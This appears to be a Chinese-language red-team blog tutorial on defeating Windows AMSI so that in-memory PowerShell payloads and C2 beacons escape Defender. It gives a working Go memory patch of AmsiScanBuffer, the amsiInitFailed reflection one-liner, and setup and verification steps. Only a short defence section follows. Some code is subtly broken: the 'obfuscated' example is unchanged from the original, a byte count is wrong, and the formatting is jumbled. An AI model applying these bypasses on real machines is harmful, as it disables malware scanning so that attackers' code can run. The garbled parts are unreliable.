<pre><code class="language-markdown">## 0x01 一次被AMSI拦下的失败故事
还记得有一次在对某家金融公司进行授权渗透测试时,我的Payload被杀软无情拦截。当时,我通过一款自定义的PowerShell脚本想加载内存中的C2 Beacon,结果直接被Windows Defender的AMSI(Antimalware Scan Interface)检测出来并拦截。目标主机的EDR报警瞬间拉满,我不得不终止了这次尝试。
这次失利让我开始深入研究AMSI的检测机制,以及如何有效绕过它。经过一段时间的钻研,我总结出了几种实用的绕过手法。有意思的是,AMSI虽然强大,但它的实现机制依然有不少可以利用的地方。接下来,我会一步步带大家复现当时的实验过程,同时分享几个实战中屡试不爽的绕过技巧。
---
0x02 揭开AMSI的面纱
在深入攻击之前,我们需要先搞清楚AMSI的工作原理。简单来说,AMSI是微软为Windows平台引入的一种通用反恶意软件接口。它的主要作用是拦截传入的恶意载荷,尤其是对PowerShell脚本的动态内容扫描。
AMSI的工作机制
- 统一的扫描接口:AMSI允许各种应用程序(如PowerShell、WScript等)将内容提交给它进行检测。
- 内容动态扫描:AMSI会对脚本代码(如PowerShell的
Invoke-Expression内容)进行动态拦截并扫描。 - 调用杀软引擎:AMSI本身并不负责具体的检测任务,而是将数据传给目标主机上安装的杀毒引擎(如Windows Defender)。
通过如下实验代码,我们可以模拟AMSI对恶意脚本的拦截过程:</code></pre>powershell
这段代码是一个简单的恶意脚本模拟
iex "Write-Host 'This is a test payload'" <pre><code> 运行这段代码时,如果目标主机启用了AMSI并配合Windows Defender,那么极有可能会触发告警。它会检测到iex(即Invoke-Expression)可能用于加载恶意脚本。
---
0x03 实验环境搭建
环境一览
- 目标机:
- Windows 10 x64
- Windows Defender 启用
- PowerShell 5.1(默认集成AMSI)
- 攻击机:
- Kali Linux(用于构造Payload)
- 工具:Go语言环境 + 自定义免杀工具
准备步骤
- Windows Defender配置:
确保目标机的Windows Defender和实时保护功能开启,以验证绕过效果。 `powershell
检查实时保护是否开启
Get-MpPreference | Select-Object -Property RealTimeProtectionEnabled `
- PowerShell版本确认:
确保目标机运行的是支持AMSI的PowerShell版本(5.0及以上)。 `powershell
检查PowerShell版本
$PSVersionTable.PSVersion `
- 开发环境安装:
在攻击机上安装Go语言编译器: `bash sudo apt update sudo apt install golang -y `
至此,实验环境就搭建完成了。
---
0x04 AMSI绕过的几种套路
绕过AMSI的核心思路是让恶意代码在被提交给AMSI扫描之前,绕过其检测机制。以下是几种常见的实战方法:
1. Memory Patching
通过直接修改目标进程内存中与AMSI相关的函数地址,让AMSI的检测功能失效。这种方法需要借助一个内存操作的工具或API。
Go实现AMSI内存补丁
以下是用Go语言实现的代码,它直接修改AMSI的相关内存地址:</code></pre>go package main

import ( "fmt" "syscall" "unsafe" )
func main() { // 目标DLL和函数 kernel32 := syscall.NewLazyDLL("kernel32.dll") virtualProtect := kernel32.NewProc("VirtualProtect")
// AMSI DLL中的目标函数地址 amsiDll := syscall.NewLazyDLL("amsi.dll") amsiScanBuffer := amsiDll.NewProc("AmsiScanBuffer")
// 将函数地址转为指针 addr := amsiScanBuffer.Addr() fmt.Printf("AmsiScanBuffer Address: 0x%x\n", addr)

// 修改内存权限以进行补丁 var oldProtect uint32 virtualProtect.Call(addr, uintptr(4), syscall.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
// 替换前4字节为返回值0(即NOP) patch := []byte{0x31, 0xC0, 0xC3} // XOR EAX, EAX; RET copy((*[3]byte)(unsafe.Pointer(addr))[:], patch[:])
fmt.Println("AMSI bypass applied successfully!") } <pre><code> 运行步骤:
- 在Go环境中编译以上代码:
go build amsi_bypass.go - 将可执行文件传到目标机运行,内存补丁会实时生效。

---
2. 字符串分割/混淆
AMSI扫描的是脚本的整体内容,因此通过分割或动态生成的方式,可以有效绕过检测。例如,将Invoke-Expression分割为以下形式:</code></pre>powershell
原始代码:Invoke-Expression $Payload
绕过方式
Invoke-Expression $Payload <pre><code>
3. 环境变量篡改
通过修改PowerShell运行时的上下文变量也能实现绕过。例如:</code></pre>powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) <pre><code>这段代码直接修改了PowerShell的AMSI初始化状态,使其失效。

---
0x05 绕过效果验证
在完成绕过后,我们可以再次运行原先的恶意Payload,验证AMSI是否仍然拦截。以下是验证的步骤:
- 在目标机运行补丁后的可执行文件。
- 再次执行以下PowerShell恶意脚本:
`powershell iex "Write-Host 'This is a test payload'" ` 此时,应该不会再触发Windows Defender的AMSI拦截。
---
0x06 如何应对这些绕过?
作为安全研究员,理解攻击技术的同时,也需要知道如何检测和防御。以下是几种应对措施:
- 内存扫描:通过EDR工具对目标进程的内存进行完整性检查,发现被篡改的AMSI函数。
- 脚本分析:通过静态分析工具发现异常的字符串分割或混淆。
- 系统完整性监控:定期检查关键系统调用和DLL文件的完整性,防止被恶意补丁。
---
0x07 个人的一些经验分享
在对抗AMSI的过程中,我深刻体会到,攻击的本质是不断寻找防御的盲点。无论是内存补丁还是脚本混淆,本质上都是针对AMSI检测机制的“障眼法”。但需要注意的是,这些技术虽然在实验环境中表现出色,但在真实的红队行动中,EDR的配合会大大提升检测的难度。
最后提醒:本文技术仅限合法授权的安全研究,切勿用于非法用途!</code></pre>